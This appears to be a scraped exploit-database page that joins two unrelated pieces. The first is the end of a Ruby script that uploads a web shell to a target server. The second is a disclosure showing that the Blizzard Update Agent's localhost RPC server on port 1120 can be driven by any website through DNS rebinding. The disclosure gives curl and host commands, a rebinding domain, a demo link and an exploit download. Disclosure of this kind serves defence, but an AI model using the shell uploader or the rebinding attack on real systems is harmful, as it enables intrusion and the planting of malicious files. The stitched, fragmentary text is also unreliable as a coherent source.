'ReferringWebWindowId' => web_windowId,
'request' => 'uploadFile',
'impinf__uploadfilelocation' => File.open(shell_file)
)
if page.code == "200"
puts "Shell uploaded, check " + host + "/" + File.basename(shell_file)
else
puts "Error occurred, shell was not uploaded correctly..."
end
All blizzard games are installed alongside a shared tool called "Blizzard Update Agent", investor.activision.com claims they have "500 million monthly active users", who presumably all have this utility installed.
The agent utility creates an JSON RPC server listening on localhost port 1120, and accepts commands to install, uninstall, change settings, update and other maintenance related options. Blizzard use a custom authentication scheme to verify the rpc's are from a legitimate source, it looks like this:
$ curl -si http://localhost:1120/agent
HTTP/1.0 200 OK
Content-Length: 359
{
"pid" : 3140.000000,
"user_id" : "S-1-5-21-1613814707-140385463-2225822625-1000",
"user_name" : "S-1-5-21-1613814707-140385463-2225822625-1000",
"state" : 1004.000000,
"version" : "2.13.4.5955",
"region" : "us",
"type" : "retail",
"opt_in_feedback" : true,
"session" : "15409717072196133548",
"authorization" : "11A87920224BD1FB22AF5F868CA0E789"
}
This endpoint is permitted without authentication, but all other requests must have a valid "Authorization" header with the token in that response. As with all HTTP RPC schemes like this, a website can send requests to the daemon with XMLHttpRequest(), but I think the theory is they will be ignored because requests must prove they can read and write the authorization property.
I don't think this design will work because of an attack called "dns rebinding". Any website can simply create a dns name that they are authorized to communicate with, and then make it resolve to localhost.
To be clear, this means that *any* website can send privileged commands to the agent.
I have a domain I use for testing called rbndr.us, you can use this page to generate hostnames:
https://lock.cmpxchg8b.com/rebinder.html
Here I want to alternate between 127.0.0.1 and 199.241.29.227, so I use 7f000001.c7f11de3.rbndr.us:
$ host 7f000001.c7f11de3.rbndr.us
7f000001.c7f11de3.rbndr.us has address 127.0.0.1
$ host 7f000001.c7f11de3.rbndr.us
7f000001.c7f11de3.rbndr.us has address 199.241.29.227
$ host 7f000001.c7f11de3.rbndr.us
7f000001.c7f11de3.rbndr.us has address 127.0.0.1
Here you can see the resolution alternates between the two addresses I want (note that depending on caching it might take a while to switch, the TTL is set to minimum but some servers round up).
I just wait for the cached response to expire, and then POST commands to the server.
Exploitation would involve using network drives, or setting destination to "Downloads" and making the browser install dlls, datafiles, etc.
I made a very simple demo, I'm sure it's quite brittle, but hopefully you get the idea!
http://lock.cmpxchg8b.com/yah4od7N.html
See screenshot attached of how it's supposed to look.
Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43665.zip